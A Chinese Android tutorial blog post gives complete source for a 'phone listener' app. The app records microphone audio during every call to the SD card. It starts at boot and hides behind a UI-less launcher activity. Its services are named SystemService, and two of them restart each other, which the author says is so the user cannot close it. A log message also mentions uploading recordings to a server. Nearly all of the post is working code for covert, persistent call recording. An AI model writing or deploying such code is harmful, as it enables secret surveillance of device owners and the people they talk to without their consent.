标签:android开发
想要实现电话监听器,思路:
1.首先得通过程序在后台运行,所以需要做成服务。
2.如何实现电话监听呢,首先要获得电话管理器,然后监听电话的状态。
3.通过电话的不同状态,实现电话的监听。
4.还得开机启动。
5.做一个守护进程然你无法关闭。。
6.在主activity里的oncreate()里自动开启,这个activity不需要页面
看代码实现:
package com.jrrjw.phonelistener; import java.io.File; import android.app.Service; import android.content.Intent; import android.media.MediaRecorder; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; public class SystemService2 extends Service { // 电话管理器 private TelephonyManager tm; // 监听器对象 private MyListener listener; // 声明录音机 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent intent) { return null; } // 服务创建的时候调用的方法 @Override public void onCreate() { // 后台监听电话的呼叫状态。 // 得到电话管理器 tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 当电话的呼叫状态发生变化的时候调用的方法 @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。 if (mediaRecorder != null) { // 8.停止捕获 mediaRecorder.stop(); // 9.释放资源 mediaRecorder.release(); mediaRecorder = null; System.out.println("录制完毕,上传文件到服务器。"); } break; case TelephonyManager.CALL_STATE_RINGING:// 零响状态。 break; case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态 // 开始录音 // 1.实例化一个录音机 mediaRecorder = new MediaRecorder(); // 2.指定录音机的声音源 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //这里使用的是mic也可以其他的类型,这个自行google,因为欧美国家有法律规定录音违法,所以这里我就只录自己发出的声音 // 3.设置录制的文件输出的格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); // 4.指定录音文件的名称 File file = new File( Environment.getExternalStorageDirectory(), System.currentTimeMillis() + ".mp3"); mediaRecorder.setOutputFile(file.getAbsolutePath()); // 5.设置音频的编码 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); // 6.准备开始录音 mediaRecorder.prepare(); // 7.开始录音 mediaRecorder.start(); break; } } catch (Exception e) { e.printStackTrace(); } } } // 服务销毁的时候调用的方法 @Override public void onDestroy() { super.onDestroy(); // 取消电话的监听 System.out.println("ondestory"); tm.listen(listener, PhoneStateListener.LISTEN_NONE); Intent i = new Intent(this, SystemService.class); startService(i); listener = null; } }2.守护进程
package com.jrrjw.phonelistener; import java.io.File; import java.io.IOException; import android.app.Service; import android.content.Intent; import android.media.MediaRecorder; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; public class SystemService extends Service { // 电话管理器 private TelephonyManager tm; // 监听器对象 private MyListener listener; // 声明录音机 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent intent) { return null; } // 服务创建的时候调用的方法 @Override public void onCreate() { // 后台监听电话的呼叫状态。 // 得到电话管理器 tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 当电话的呼叫状态发生变化的时候调用的方法 @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。 if (mediaRecorder != null) { // 8.停止捕获 mediaRecorder.stop(); // 9.释放资源 mediaRecorder.release(); mediaRecorder = null; System.out.println("录制完毕,上传文件到服务器。"); } break; case TelephonyManager.CALL_STATE_RINGING:// 零响状态。 break; case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态 // 开始录音 // 1.实例化一个录音机 mediaRecorder = new MediaRecorder(); // 2.指定录音机的声音源 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); // 3.设置录制的文件输出的格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); // 4.指定录音文件的名称 File file = new File( Environment.getExternalStorageDirectory(), System.currentTimeMillis() + ".mp3"); mediaRecorder.setOutputFile(file.getAbsolutePath()); // 5.设置音频的编码 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); // 6.准备开始录音 mediaRecorder.prepare(); // 7.开始录音 mediaRecorder.start(); break; } } catch (Exception e) { e.printStackTrace(); } } } // 服务销毁的时候调用的方法 @Override public void onDestroy() { super.onDestroy(); // 取消电话的监听 System.out.println("ondestory"); Intent i = new Intent(this, SystemService2.class); startService(i); tm.listen(listener, PhoneStateListener.LISTEN_NONE); listener = null; } }
3.开机自启动
package com.jrrjw.phonelistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class BootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent i = new Intent(context,SystemService.class); context.startService(i); } }
package com.jrrjw.phonelistener; import com.jrrjw.phonelistener.R; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.Toast; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); boolean isRunning = ServiceUtils.isServicRunning(this, "com.jrrjw.phonelistener.SystemService"); if (!isRunning) { Intent intent = new Intent(this, SystemService.class); startService(intent); } Toast.makeText(this, "System Service is running", Toast.LENGTH_SHORT) .show(); finish(); } }
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.jrrjw.phonelistener" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.jrrjw.phonelistener.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="com.jrrjw.phonelistener.SystemService" > </service> <service android:name="com.jrrjw.phonelistener.SystemService2" > </service> <receiver android:name="com.jrrjw.phonelistener.BootReceiver" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> </application> </manifest>
package com.jrrjw.phonelistener; import java.util.List; import android.app.ActivityManager; import android.app.ActivityManager.RunningServiceInfo; import android.content.Context; public class ServiceUtils { public static boolean isServicRunning(Context context, String serviceName) { ActivityManager am = (ActivityManager) context .getSystemService(context.ACTIVITY_SERVICE); List<RunningServiceInfo> infos = am.getRunningServices(100); for (RunningServiceInfo runningServiceInfo : infos) { String serviceN = runningServiceInfo.service.getClassName(); if (serviceName.equals(serviceN)) { return true; } } return false; } }好了,这样就实现了简单的电话监听器,一旦你电话结束后,监听器就会把录好的声音以时间的形式保存到你的sd卡,这里我没有判断sd卡是否存在,只是一个demo
标签:android开发
原文地址:http://blog.csdn.net/jys1115/article/details/40295687